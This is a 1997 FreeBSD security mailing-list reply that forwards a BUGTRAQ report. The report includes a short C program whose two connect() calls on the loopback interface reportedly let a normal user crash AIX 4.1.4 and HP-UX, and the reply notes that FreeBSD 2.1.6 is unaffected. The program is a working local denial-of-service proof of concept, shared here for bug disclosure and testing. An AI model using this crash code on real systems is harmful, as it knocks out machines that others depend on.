Date: Sat, 08 Mar 1997 15:43:22 -0800 From: Cy Schubert <cy@cwsys.cwent.com> To: Ollivier Robert <roberto@eurocontrol.fr> Cc: security@freebsd.org Subject: Re: Fwd: Bug in connect() for aix 4.1.4 ? Message-ID: <199703082343.PAA06109@cwsys.cwent.com> In-Reply-To: Your message of "Fri, 07 Mar 1997 20:09:03 %2B0100." <19970307200903.47617@caerdonn.eurocontrol.fr>
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> Can someone try this on a *non critical* FreeBSD system ? I can crash HP-UX
> 9.05 and 10.20 easily with it...
It doesn't affect 2.1.6.
>
> -----Forwarded message from Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.A
T>-----
>
> Date: Wed, 5 Mar 1997 13:23:54 +0100
> From: Cahya Wirawan <cwirawan@EMAIL.ARCHLAB.TUWIEN.AC.AT>
> Subject: Bug in connect() for aix 4.1.4 ?
> To: BUGTRAQ@NETSPACE.ORG
>
> Can someone tell me why this simple tcp program crashes aix 4.1.4 .
> I run this program as a normal user, and the second connect crashes aix.
> is it just connect's old bug from aix ? i have tried it in aix 3.2
> but it works only in 4.1.4.
>
> _____________________________________________________________________
>
> #include <sys/types.h>
> #include <sys/socket.h>
> #include <netinet/in.h>
> #include <sys/time.h>
> #include <netdb.h>
> #include <stdio.h>
>
> main()
> {
> int sock;
> struct sockaddr_in server;
> struct hostent *hp;
>
> sock = socket(AF_INET, SOCK_STREAM, 0);
> /* or sock = socket(AF_INET, SOCK_STREAM, 6); */
> hp = gethostbyname("localhost");
> bcopy((char*)hp->h_addr, (char*)&server.sin_addr, hp->h_length);
> server.sin_family = AF_INET;
> server.sin_port = 23;
> connect(sock, (struct sockaddr *)&server, sizeof server);
> shutdown(sock, 2);
> server.sin_port = 24;
> connect(sock, (struct sockaddr *)&server, sizeof server);
> }
>
>
> _________________________________________________________________________
> Cahya Wirawan.
>
> -----End of forwarded message-----
>
> --
> Ollivier ROBERT -=- Eurocontrol EEC/TS -=- Ollivier.Robert@eurocontrol.fr
>
>
Regards, Phone: (250)387-8437
Cy Schubert Fax: (250)387-5766
UNIX Support OV/VM: BCSC02(CSCHUBER)
ITSD BITNET: CSCHUBER@BCSC02.BITNET
Government of BC Internet: cschuber@uumail.gov.bc.ca
cschuber@bcsc02.gov.bc.ca
"Quit spooling around, JES do it."
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